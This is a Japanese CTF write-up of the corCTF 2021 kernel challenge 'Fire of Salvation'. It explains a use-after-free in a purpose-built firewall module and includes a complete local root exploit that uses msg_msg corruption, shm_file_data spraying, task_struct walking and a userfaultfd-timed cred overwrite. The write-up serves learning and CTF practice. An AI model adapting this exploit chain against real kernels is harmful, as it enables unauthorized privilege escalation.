TL;DR
- FGKASLR / SMEP / SMAP / KPTI / static modprobe_path / slab randomized
- Impl a network module and a misc device to create user defined rule whether specific network packets should be accepted or dropped.
- The rule structure is placed on
kmalloc-4k
slab. There is a write-only partial UAF. - Leak kernel data symbol by overwriting
msg_msg.m_ts
withkmalloc-32
slab addr whereshm_file_data
are sprayed. - Leak current process’
task_struct
by task walking. - Overwrite
task_struct.cred
withinit_cred
by overwritingmsg_msg.next
inload_msg()
. The timing is controlled byuserfaultfd
.
イントロ
いつぞや開催されたCoR CTF 2021
のkernel pwn問題のFire of Salvation
を解いていく。
本問題は#define
マクロの内容によってEASY/HARDの2種類の難易度として問題が出題されていたらしく、EASYはFire of Salvation
、HARDはWall of Perdition
という名前になっている。本エントリで解くのは、EASY難易度の方である。
static
lysithea
lysithea.txt 1Drothea v1.0.0
2[.] kernel version:
3 Linux version 5.8.0 (Francoise d'Aubigne@proud_gentoo_user) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU Binutils for Debian) 2.35.1) #8 SMP Sun July 21 12:00:00 UTC 2021
4[+] CONFIG_KALLSYMS_ALL is disabled.
5cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
6[!] unprivileged userfaultfd is enabled.
7[?] KASLR seems enabled. Should turn off for debug purpose.
8[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
9Ingrid v1.0.0
10[.] userfaultfd is not disabled.
11[-] CONFIG_DEVMEM is disabled.
FGKASLR/SMEP/SMAP/KPTI/static modprobe_path/slab randomized。uffdは使える。あと珍しい?ことにCONFIG_KALLSYMS_ALL
がdisableされている。
厳密には、ご丁寧にkernel configが全部開示されているため見る必要はない。しかも、not strippedなbzImageが配布されている。ちなみにソースコードはGitHubにはアップされていなかったが、author’s writeupの最初の方を読んだ感じ本番では配布されていたようなので、ソースを見て解いた。同ブログによるとdebug symbolつきのvmlinuxを本番で配布したようだが、これはGitHubにもブログにも見つからなかったので、諦めて(?)debug symbol無しで解いた。
module overview
ネットワークパケットをaccept/dropするルールをユーザが決められるようなモジュールと、ルールを編集するためのmiscデバイスが作られている。ルールは以下の構造体で定義され、これはkmalloc-4k
スラブに入れられる。
1typedef struct
2{
3 char iface[16]; // interface name
4 char name[16]; // rule name
5 uint32_t ip; // src/dst IP
6 uint32_t netmask; // src/dst IP netmask
7 uint16_t proto; // TCP / UDP
8 uint16_t port; // src/dst port
9 uint8_t action; // accept or drop
10 uint8_t is_duplicated; // flag which shows this rule is duplicated or not
11 #ifdef EASY_MODE
12 char desc[DESC_MAX]; // rule description
13 #endif
14} rule_t;
全てのメンバはユーザが指定でき、作成後に編集することも可能。しかし、desc
だけはedit不可のため、実際に編集できるのは先頭0x30 bytesである。ルールはINBOUND/OUTBOUND毎に0x80ずつ作ることができる。
vulnerability
INBOUNDのルールをOUTBOUNDにコピーする(or vice versa)機能がある:
source.c 1// partially snipped by me
2static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
3{
4 uint8_t i;
5 rule_t **dup;
6
7 dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
8 for (i = 0; i < MAX_RULES; i++)
9 {
10 if (dup[i] == NULL)
11 {
12 dup[i] = firewall_rules[idx];
13 firewall_rules[idx]->is_duplicated = 1;
14 return SUCCESS;
15 }
16 }
17 return ERROR;
18}
実装はINBOUNDのルールが入ったrule_t
構造体のアドレスを、OUTBOUNDルールの配列に代入しているだけである。一方で、ルールを削除する関数は以下のように実装されている:
1// partially snipped by me
2static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
3{
4 kfree(firewall_rules[idx]);
5 firewall_rules[idx] = NULL;
6 return SUCCESS;
7}
INBOUND(or OUTBOUND)のルールのうちidx
で指定されたものをkfree()
し、該当する配列にNULLを入れている。
だが、先程見たようにここでkfree
するrule_t
構造体はduplicateされてOUTBOUND側にも入っている可能性がある。すなわち、freeされたオブジェクトにアクセスすることのできるUAFが存在する。
ルールを編集する機能は以下のように実装される:
1// partially snipped by me
2static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
3{
4 memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
5 memcpy(firewall_rules[idx]->name, user_rule.name, 16);
6 if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
7 {
8 printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
9 return ERROR;
10 }
11
12 if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
13 {
14 printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
15 return ERROR;
16 }
17
18 firewall_rules[idx]->proto = user_rule.proto;
19 firewall_rules[idx]->port = ntohs(user_rule.port);
20 firewall_rules[idx]->action = user_rule.action;
21 return SUCCESS;
22}
つまり、UAFではdescription
を除くrule_t
の先頭0x30 bytes分だけwriteができる。なお、read機能は実装されていない。
FGKASLR
nokaslr
にする前の状態でkallsyms
を2回ほど見て気づいたが、FGKASLRが有効化されている。これによって、kernellandの各関数はそれぞれが独立したセクションに配置され、各セクションの配置はランダマイズされる。よって、.textシンボルのどれかをleakしたとしてもあまり効果がない。なお、FGKASLR問に関する過去のエントリは以下をチェック:
- https://smallkirby.hatenablog.com/entry/2021/02/15/215158
- https://smallkirby.hatenablog.com/entry/2021/02/16/225125
kernel .data leak
rough plan to leak data
FGKASLRが有効である以上、まずやるべきことは.dataシンボルのleakである。UAFのサイズがkmalloc-4k
である、このサイズの有用な構造体というとだいぶ限られてくる。今回はmsg_msg
を使うことにした。msg_msg
に関しては丁度、前エントリ(nightclub from pbctf2021)
でも使ったため、前提知識がない場合はそちらも参考のこと。msg_msg
は以下のように定義される:
1/* one msg_msg structure for each message */
2struct msg_msg {
3 struct list_head m_list;
4 long m_type;
5 size_t m_ts; /* message text size */
6 struct msg_msgseg *next;
7 void *security;
8 /* the actual message follows immediately */
9};
m_ts
はヘッダを除くメッセージの大きさを、next
はメッセージサイズがDATALEN_MSG
に収まらない場合の次のセグメントアドレスを表す。このm_ts
を大きな値に書き換えることで、msgrcv()
時に本来のメッセージサイズ以上に読み取ることができleakできると考えた。
message unlinking from queue
試しにUAFした領域にmsg_msg
を確保し、m_list
をNULL、m_ts
をDATALEN_MSG + 0x300
程度に書き換えたところ、以下のようなエラーになった:
NULL pointer derefが起きている。これはdo_msgrcv()
における以下の部分が問題である:
1// partially snipped by me
2static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
3 long (*msg_handler)(void __user *, struct msg_msg *, size_t))
4{
5 int mode;
6 struct msg_queue *msq;
7 struct ipc_namespace *ns;
8 struct msg_msg *msg, *copy = NULL;
9...
10 if (msgflg & MSG_COPY) {
11 if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
12 return -EINVAL;
13 copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
14 if (IS_ERR(copy))
15 return PTR_ERR(copy);
16 }
17 mode = convert_mode(&msgtyp, msgflg);
18...
19 msq = msq_obtain_object_check(ns, msqid);
20...
21 for (;;) {
22 struct msg_receiver msr_d;
23 msg = ERR_PTR(-EACCES);
24...
25 msg = find_msg(msq, &msgtyp, mode);
26 if (!IS_ERR(msg)) {
27 /*
28 * Found a suitable message.
29 * Unlink it from the queue.
30 */
31 if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
32 msg = ERR_PTR(-E2BIG);
33 goto out_unlock0;
34 }
35 /*
36 * If we are copying, then do not unlink message and do
37 * not update queue parameters.
38 */
39 if (msgflg & MSG_COPY) {
40 msg = copy_msg(msg, copy);
41 goto out_unlock0;
42 }
43
44 list_del(&msg->m_list);
45...
46 goto out_unlock0;
47 }
48...
49out_unlock0:
50 ipc_unlock_object(&msq->q_perm);
51 wake_up_q(&wake_q);
52out_unlock1:
53 rcu_read_unlock();
54 if (IS_ERR(msg)) {
55 free_copy(copy);
56 return PTR_ERR(msg);
57 }
58
59 bufsz = msg_handler(buf, msg, bufsz);
60 free_msg(msg);
61
62 return bufsz;
63}
msg_msg.m_list
は同一queue内に存在するメッセージを保持する双方向リストであるが、list_del()
内でリストからメッセージを削除するためにmsg_msg.m_list
がderefされる。今回はm_list
をNULLでoverwriteしているためヌルポになってしまう。とはいっても、このUAFでは先頭からsequentialにwriteするしかないため、msg_msg
の先頭にあるm_list
を書き換えずに残しておくことはできない。
対策としては、コード中にご丁寧に書いてあるようにCOPY_MSG
をフラグとして指定してあげると、メッセージの取得時にメッセージはコピーされ、リストから外されない。これだけでm_ts
を適当に書き換えてもヌルポは出なくなる。
structure of msg_msg
and msg_seg
COPY_MSG
(とIPC_NOWAIT
)をmsgrcv()
時のフラグとして指定してメッセージを読んだときの結果が以下のようになった:
0x55
は自分でメッセージとして入れた適当な値であり、それ以外は全く読まれていないことがわかる。これはmsg_msg
/msg_seg
の仕組みを考えれば至ってふつうのコトである。
msgsnd()
では以下のようにメッセージが作成される:
ユーザが指定したメッセージを、ヘッダを除いたサイズ(DATALEN_MSG
/DATALEN_SEG
)毎に分割し、それぞれをslabに置く。msgrcv()
ではこれの逆で、msg_msg
からnext
ポインタを辿って指定されたサイズ分だけメッセージを確保する。
先程の例では、next
をNULLクリアしてしまっているため、msg_msg
内のデータ(size: DATALEN_MSG
)だけ読んだ時点でメッセージの読み込みが終了してしまう。例え大きなm_ts
を指定したとしても、next
がNULLの場合にはそれ以上メッセージは読み込まれない。
randomized slab / leak via shm_file_data
というわけで、msgsnd()
の際にDATALEN_MSG
よりも大きいサイズのメッセージを与えたあと、msg_msgの方をUAF領域に確保する必要がある。この状態でUAFを使ってmsg_msg.m_ts
を大きなサイズにすることで、msg_seg
を読み込む際にOOB readが可能になる。
この段階で気づいたが、SLABのアドレスがランダマイズされていた(実際は、問題分にその旨が書かれていたが気づかなかった)。よって、victimとなる構造体をスプレーしたあとでmsg_seg
が確保されるようにし、msg_seg
のすぐ後ろにvictim構造体が確保されることを祈るしか無い。よって、今回使う構造体の条件は「それなりに小さいサイズ」であること(sprayを容易にするため)と、「構造体内に.dataシンボルがあること」の2つとなる。この辺
を探すと、shm_file_data
が使えそうであることがわかる。
なお、この際注意するべきこととして、もともとmsg_msg.next
に入っているアドレス(pointing to msg_seg
)は上書きしてはいけない。幸いにも、今回のUAF writeは以下のように実装されている:
1// partially snipped by me
2static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
3{
4 memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
5 memcpy(firewall_rules[idx]->name, user_rule.name, 16);
6 /** ☆ CAN BE STOPED HERE ☆ **/
7 if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
8 {
9 printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
10 return ERROR;
11 }
12 firewall_rules[idx]->proto = user_rule.proto;
13 firewall_rules[idx]->port = ntohs(user_rule.port);
14 firewall_rules[idx]->action = user_rule.action;
15 return SUCCESS;
16}
UAFをした際には、name
とm_ts
が、ip
とnext
が対応しているのだが、in4_pton()
がエラーを返すような文字列を敢えて渡すことで、m_ts
までoverwriteした状態で処理を中止させることができる。これで、正規のmsg_seg
へのポインタnext
は保たれたままになる。
そんな感じでUAFでmsg_msg.m_ts
を書き換えた後のheapは以下のようになる:
msgrcv()
でleakされる値は以下のようになっており、.dataシンボルがleakできていることがわかる:
overwrite cred
msgrcv()
internal with MSG_COPY
flag
さて、ここまでで.dataがleakできているため、以前(Krazynote from BalsnCTF2019)
にも使ったようにtask_struct.cred
を書き換えることでrootを取りたい。.dataがleakできているため、init_task
/init_cred
のアドレスも既にわかっている。あとはAAWが欲しい。
ここで今度はmsgrcv()
のフローを少しだけ詳細に見てみる:
まずload_msg()
において、msgsnd()
で作られたものとはまた別のmsg_msg/msg_seg
が確保される。そして、このmsg_msg
に対してユーザ指定のバッファ(msgrcv()
で指定)から指定したサイズ分だけデータを取ってくる(このユーザランドから持ってくる処理、MSG_COPY
に限って言えば全く意味のない処理だと思うんだけど、どうでしょう)。その後、copy_msg()
において、msgsnd()
で作られたオリジナルのmsg_msg
からデータをmemcpy()
でコピーしてくる。最後に、do_msg_fill()
でユーザ指定のバッファに読んだデータを全部書き戻す。
ここで気になるのは図の③の部分でわざわざオリジナルのmsg_msg
からtemporaryなmsg_msg/msg_seg
へとコピーを行っている:
1struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
2{
3 struct msg_msgseg *dst_pseg, *src_pseg;
4 size_t len = src->m_ts;
5 size_t alen;
6
7 if (src->m_ts > dst->m_ts)
8 return ERR_PTR(-EINVAL);
9
10 alen = min(len, DATALEN_MSG);
11 memcpy(dst + 1, src + 1, alen);
12
13 for (dst_pseg = dst->next, src_pseg = src->next;
14 src_pseg != NULL;
15 dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
16
17 len -= alen;
18 alen = min(len, DATALEN_SEG);
19 memcpy(dst_pseg + 1, src_pseg + 1, alen);
20 }
21
22 dst->m_type = src->m_type;
23 dst->m_ts = src->m_ts;
24
25 return dst;
26}
コードからもわかるとおり、ここでもmsg_msg
を読んだ後にnext
が指すmsg_seg
からデータをコピーするフローになっている。
AAW abusing msgrcv
copy flow
さて、ここで③の実行前に「temporaryな方」のmsg_msg.next
を任意のアドレスに書き換えることができれば、③のコピー時にオリジナルのmsg_msg
の中身を任意のアドレスに書き込むことができると考えられる。コピーに使うのはmemcpy()
であり、アドレスのレンジチェック等もない。
どうやって③の前にmsg_msg.next
を書き換えるかだが、①でtemporaryなmsg_msg
を確保した後、②でuserlandからのコピーが発生するため、②でuserfaultfd
を仕掛けることができる。つまり、予め「次に確保されるslabがUAF領域になる」ような状態を作っておいてからmsgrcv()
を呼ぶことでtemporaryなmsg_msg
はUAF-writableな状態になるため、②をuffdで止めている間にtemporaryなmsg_msg.next
を書き換えることができる。この時一緒にm_ts
も適当に書き換えておくことで、AAWで書き込むサイズも任意に調整することができる。図にすると、以下の感じでAAWになる:
task_struct walk
これでAARもAAWも実現できたため、あとはやるだけゾーン。因みに、配布されたkernel configを見たところmodprobe_path
はstaticになっていたため、task_struct
のcred
を書き換える方針で行く。まずAARを使ってinit_task
のtasks.prev
を辿っていき、epxloitプロセス自身のtask
を見つける。なお、task_struct
内のtasks
のoffsetを見つけるのが少しめんどくさい(cred
自体はinit_task
の中身をinit_cred
の値でgrepすれば一瞬で分かる)。今回はまず、prctl()
でtask_struct.comm
をマーキング(0xffff888007526550
)し、その値でメモリ上を全探索して自プロセスのtask_struct
を見つけた後、そのアドレスを3nibbleくらいマスクした値(0xffff888007526
)でinit_task
をgrepした。運が良いとinit_task.tasks.next
はexploitプロセスになっているから、これでtasks
のoffsetが分かる(運が悪いとswapperとかがリストに入ってくる)。今回はtasks
のオフセットが0x298
であることがわかった:
あとはinit_task
からtask_struct.tasks.prev
を辿ってcomm
が設定した値になっているtask_struct
を探せば良い:
full exploit
exploit.c 1#include "./exploit.h"
2
3/*********** commands ******************/
4
5#define DEV_PATH "/dev/firewall" // the path the device is placed
6#define ADD_RULE 0x1337babe
7#define DELETE_RULE 0xdeadbabe
8#define EDIT_RULE 0x1337beef
9#define SHOW_RULE 0xdeadbeef
10#define DUP_RULE 0xbaad5aad
11#define DESC_MAX 0x800
12
13// size: kmalloc-4k
14typedef struct
15{
16 char iface[16];
17 char name[16];
18 char ip[16];
19 char netmask[16];
20 uint8_t idx;
21 uint8_t type;
22 uint16_t proto;
23 uint16_t port;
24 uint8_t action;
25 char desc[DESC_MAX];
26} user_rule_t;
27
28// (END commands )
29
30/*********** constants ******************/
31
32#define ERROR -1
33#define SUCCESS 0
34#define MAX_RULES 0x80
35
36#define INBOUND 0
37#define OUTBOUND 1
38#define SKIP -1
39
40scu diff_init_cred_ipc_ns = 0xffffffff81c33060 - 0xffffffff81c3d7a0;
41scu diff_init_task_ipc_ns = 0xffffffff81c124c0 - 0xffffffff81c3d7a0;
42
43#define ADDR_FAULT 0xdead000
44
45#define COMM_OFFSET 0x550
46#define TASKS_PREV_OFFSET 0x2A0
47#define TASKS_NEXT_OFFSET 0x298
48#define CRED_OFFSET 0x540
49#define TASK_OVERBUFSZ DATALEN_MSG + 0x800
50
51// (END constants )
52
53/*********** globals ******************/
54
55int firewall_fd = -1;
56char *buf_name;
57char *buf_iface;
58char *buf_ip;
59char *buf_netmask;
60ulong target_task = 0;
61
62// (END globals )
63
64
65long firewall_ioctl(long cmd, void *arg) {
66 assert(firewall_fd != -1);
67 return ioctl(firewall_fd, cmd, arg);
68}
69
70void add_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *desc) {
71 user_rule_t rule = {
72 .idx = idx,
73 .type = type,
74 .proto = IPPROTO_TCP,
75 .port = 0,
76 .action = NF_DROP,
77 };
78 memcpy(rule.iface, iface, 16);
79 memcpy(rule.name, name, 16);
80 strcpy(rule.ip, "0.1.2.3");
81 strcpy(rule.netmask, "0.0.0.0");
82 memcpy(rule.desc, desc, DESC_MAX);
83 long result = firewall_ioctl(ADD_RULE, (void*)&rule);
84 assert(result == SUCCESS);
85 return;
86}
87
88void dup_rule(uint8_t src_type, uint8_t idx) {
89 user_rule_t rule = {
90 .type = src_type,
91 .idx = idx,
92 };
93 long result = firewall_ioctl(DUP_RULE, (void*)&rule);
94 assert(result == SUCCESS);
95 return;
96}
97
98void delete_rule(uint8_t type, uint8_t idx) {
99 user_rule_t rule = {
100 .type = type,
101 .idx = idx,
102 };
103 long result = firewall_ioctl(DELETE_RULE, &rule);
104 assert(result == SUCCESS);
105 return;
106}
107
108long edit_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *ip, char *netmask, ulong port) {
109 user_rule_t rule = {
110 .type = type,
111 .idx = idx,
112 .proto = IPPROTO_TCP,
113 .port = port,
114 .action = NF_ACCEPT,
115 };
116 memcpy(rule.iface, iface, 16);
117 memcpy(rule.name, name, 16);
118 if (ip == NULL ) strcpy(rule.ip, "0.0.0.0");
119 else strcpy(rule.ip, ip);
120 if (netmask == NULL) strcpy(rule.netmask, "0.0.0.0");
121 else strcpy(rule.netmask, netmask);
122 return firewall_ioctl(EDIT_RULE, &rule);
123}
124
125void edit_rule_preserve(char *iface, char *name, uint8_t idx, uint8_t type) {
126 char *ip_buf = calloc(0x20, 1);
127 strcpy(ip_buf, "NIRUGIRI\x00");
128 assert(edit_rule(iface, name, idx, type, ip_buf, NULL, 0) == ERROR);
129}
130
131char *ntop(uint32_t v) {
132 char *s = calloc(1, 0x30);
133 unsigned char v0 = (v >> 24) & 0xFF;
134 unsigned char v1 = (v >> 16) & 0xFF;
135 unsigned char v2 = (v >> 8) & 0xFF;
136 unsigned char v3 = v & 0xFF;
137 sprintf(s, "%d.%d.%d.%d", v3, v2, v1, v0);
138 return s;
139}
140
141void handle_fault(ulong arg) {
142 const ulong target = target_task + CRED_OFFSET - 8 - 8;
143 printf("[+] overwriting temp msg_msg.next with 0x%lx\n", target);
144 memset(buf_iface, 0, 0x10); // m_list
145 ((long*)buf_name)[0] = 1; // m_type
146 ((long*)buf_name)[1] = DATALEN_MSG + 0x10 + 8; // m_ts
147 strcpy(buf_ip, ntop(target)); // next & 0xFFFFFFFF
148 strcpy(buf_netmask, ntop(target>> 32)); // next & (0xFFFFFFFF << 32)
149 edit_rule(buf_iface, buf_name, 1, OUTBOUND, buf_ip, buf_netmask, 0);
150}
151
152struct msg4k {
153 long mtype;
154 char mtext[PAGE - 0x30];
155};
156
157int main(int argc, char *argv[]) {
158 puts("[ ] Hello, world.");
159 firewall_fd = open(DEV_PATH, O_RDWR);
160 assert(firewall_fd >= 2);
161
162 // alloc some buffers
163 char *buf_1p = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
164 char *buf_cpysrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
165 char *buf_big = mmap(0, PAGE * 3, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
166 assert(buf_1p != MAP_FAILED && buf_big != MAP_FAILED);
167 memset(buf_1p, 'A', PAGE);
168 memset(buf_big, 0, PAGE * 3);
169 buf_name = calloc(1, 0x30);
170 buf_iface = calloc(1, 0x30);
171 buf_ip = calloc(1, 0x30);
172 buf_netmask = calloc(1, 0x30);
173
174 // heap cleaning
175 puts("[.] cleaning heap...");
176 #define CLEAN_N 10
177 for (int ix = 0; ix != CLEAN_N; ++ix) {
178 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
179 struct msg4k cleaning_msg = { .mtype = 1 };
180 memset(cleaning_msg.mtext, 'B', PAGE - 0x30);
181 KMALLOC(qid, cleaning_msg, 1);
182 }
183
184 // allocate sample rules
185 puts("[.] allocating sample rules...");
186 #define FIRST_N 30
187 for (int ix = 0; ix != CLEAN_N; ++ix) {
188 add_rule(buf_iface, buf_name, ix, INBOUND, buf_1p);
189 }
190
191 // dup rule 1
192 puts("[.] dup rule 1...");
193 dup_rule(INBOUND, 1);
194
195 // delete INBOUND rule 1
196 puts("[.] deleting inbound 1...");
197 delete_rule(INBOUND, 1);
198
199 // spray `shm_file_data` on kmalloc-32
200 #define SFDN 0x50
201 rep(ix, SFDN) {
202 int shmid = shmget(IPC_PRIVATE, PAGE, 0600);
203 assert(shmid >= 0);
204 void *addr = shmat(shmid, NULL, 0);
205 assert((long)addr >= 0);
206 }
207
208 // allocate msg_msg on 4k & 32 heap (UAF)
209 puts("[.] allocating msg_msg for UAF...");
210 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
211 struct msg4k uaf_msg = { .mtype = 1 };
212 memset(uaf_msg.mtext, 'U', PAGE - 0x30);
213 assert(msgsnd(qid, &uaf_msg, DATALEN_MSG + 0x20 - 0x8, MSG_COPY | IPC_NOWAIT) == 0);
214
215 // use UAF write to overwrite msg_msg.m_ts
216 puts("[+] overwriting msg_msg by UAF.");
217 #define OVERBUFSZ DATALEN_MSG + 0x300
218 memset(buf_iface, 0, 0x10); // m_list
219 ((long*)buf_name)[0] = 1; // m_type
220 ((long*)buf_name)[1] = OVERBUFSZ; // m_ts
221 edit_rule_preserve(buf_iface, buf_name, 0, OUTBOUND);
222
223 errno = 0;
224 // receive msg_msg to leak kern data.
225 puts("[+] receiving msg...");
226 assert(qid >= 0 && PAGE >= 0);
227 memset(buf_big, 0, PAGE * 3);
228 ulong tmp;
229 if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
230 errExit("msgrcv");
231 }
232 printf("[+] received 0x%lx size of msg.\n", tmp);
233 //print_curious(buf_big + DATALEN_MSG, 0x300, 0);
234 const ulong init_ipc_ns = *(ulong*)(buf_big + DATALEN_MSG + 0x5 * 8);
235 const ulong init_cred = diff_init_cred_ipc_ns + init_ipc_ns;
236 const ulong init_task = diff_init_task_ipc_ns + init_ipc_ns;
237 if (init_ipc_ns == 0) { puts("[+] failed to leak init_ipc_ns."); exit(1);};
238 printf("[!] init_ipc_ns: 0x%lx\n", init_ipc_ns);
239 printf("[!] init_cred: 0x%lx\n", init_cred);
240 printf("[!] init_task: 0x%lx\n", init_task);
241
242 // task walk
243 puts("[+] starting task_struct walking...");
244 char *new_name = "NirugiriSummer";
245 assert(strlen(new_name) < 0x10);
246 assert(prctl(PR_SET_NAME, new_name) != -1);
247 #define TASK_WALK_LIM 0x20
248 ulong searching_task = init_task - 8;
249 rep(ix, TASK_WALK_LIM) {
250 if (target_task != 0) break;
251 printf("[.] target addr: 0x%lx: ", searching_task);
252 // overwrite `msg_msg.next`
253 memset(buf_iface, 0, 0x10); // m_list
254 ((long*)buf_name)[0] = 1; // m_type
255 ((long*)buf_name)[1] = TASK_OVERBUFSZ; // m_ts
256 strcpy(buf_ip, ntop(searching_task)); // next & 0xFFFFFFFF
257 strcpy(buf_netmask, ntop(searching_task>> 32)); // next & (0xFFFFFFFF << 32)
258 edit_rule(buf_iface, buf_name, 0, OUTBOUND, buf_ip, buf_netmask, 0);
259
260 // leak `task_struct.comm`
261 memset(buf_big, 0, PAGE * 2);
262 if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
263 errExit("msgrcv");
264 }
265 if (strncmp(buf_big + (DATALEN_MSG + 8) + COMM_OFFSET, new_name, 0x10)) {
266 printf("Not exploit task (name: %s)\n", (buf_big + (DATALEN_MSG + 8) + COMM_OFFSET));
267 //print_curious(buf_big + (DATALEN_MSG + 8), 0x500, 0);
268 searching_task = *(ulong*)(buf_big + (DATALEN_MSG + 8) + TASKS_PREV_OFFSET) - TASKS_NEXT_OFFSET - 8;
269 } else {
270 puts(": FOUND!");
271 target_task = searching_task + 8;
272 break;
273 }
274 }
275 if (target_task == 0) {
276 puts("[-] failed to find target task...");
277 return 1;
278 }
279 printf("[!] current task @ 0x%lx\n", target_task);
280
281 /***********************************************/
282
283 // heap cleaning
284 puts("[.] cleaning heap...");
285 for (int ix = 0; ix != CLEAN_N; ++ix) {
286 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
287 struct msg4k cleaning_msg = { .mtype = 1 };
288 memset(cleaning_msg.mtext, 'E', PAGE - 0x30);
289 KMALLOC(qid, cleaning_msg, 1);
290 }
291
292 // allocate sample rules
293 puts("[.] allocating sample rules...");
294 #define SECOND_N 10
295 memset(buf_name, 'F', 0x10);
296 memset(buf_iface, 'G', 0x10);
297 for (int ix = 0; ix != CLEAN_N; ++ix) {
298 add_rule(buf_iface, buf_name, FIRST_N + ix, INBOUND, buf_1p);
299 }
300
301 // dup rule 1
302 puts("[.] dup rule S1...");
303 dup_rule(INBOUND, FIRST_N + 1);
304
305 // delete INBOUND rule 1
306 puts("[.] deleting inbound S1...");
307 delete_rule(INBOUND, FIRST_N + 1);
308
309 // prepare uffd
310 puts("[.] preparing uffd");
311 struct skb_uffder *uffder = new_skb_uffder(ADDR_FAULT, 1, buf_cpysrc, handle_fault, "msg_msg_watcher", UFFDIO_REGISTER_MODE_MISSING);
312 assert(uffder != NULL);
313 memset(buf_cpysrc, 'G', DATALEN_MSG);
314 ((ulong*)(buf_cpysrc + DATALEN_MSG))[0] = init_cred;
315 ((ulong*)(buf_cpysrc + DATALEN_MSG))[1] = init_cred;
316 puts("[.] waiting uffder starts...");
317 usleep(500);
318 skb_uffd_start(uffder, NULL);
319
320 // allocate temp `msg_msg` on UAFed slab
321 puts("[.] allocating temp msg_msg on UAFed slab.");
322 if ((tmp = msgrcv(qid, ADDR_FAULT, PAGE, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
323 errExit("msgrcv");
324 }
325
326 // end of life
327 int uid = getuid();
328 if (uid != 0) {
329 printf("[-] Failed to get root...");
330 exit(1);
331 } else {
332 puts("\n\n\n[+] HERE IS YOUR NIRUGIRI");
333 NIRUGIRI();
334 }
335 puts("[ ] END of life...");
336}
アウトロ
成功率はshm_file_data
のspray成功率が強く影響していて、まぁ70%くらいです、多分。すごく良い問題だったと思います。次はこれのHARDバージョンらしい、Wall of Perdition
を解こうと思います。
あとHORIZONの新作買いました。やるのが楽しみです。
References
- Author: https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
- Author: https://syst3mfailure.io/wall-of-perdition
- CTF repository: https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/fire-of-salvation
- SLAB/SLUB abstraction: https://kernhack.hatenablog.com/entry/2017/12/01/004544
- useful kernel structures: https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628
- Krazynote writeup: https://smallkirby.hatenablog.com/entry/2020/08/09/085028
- kernelpwn: https://github.com/smallkirby/kernelpwn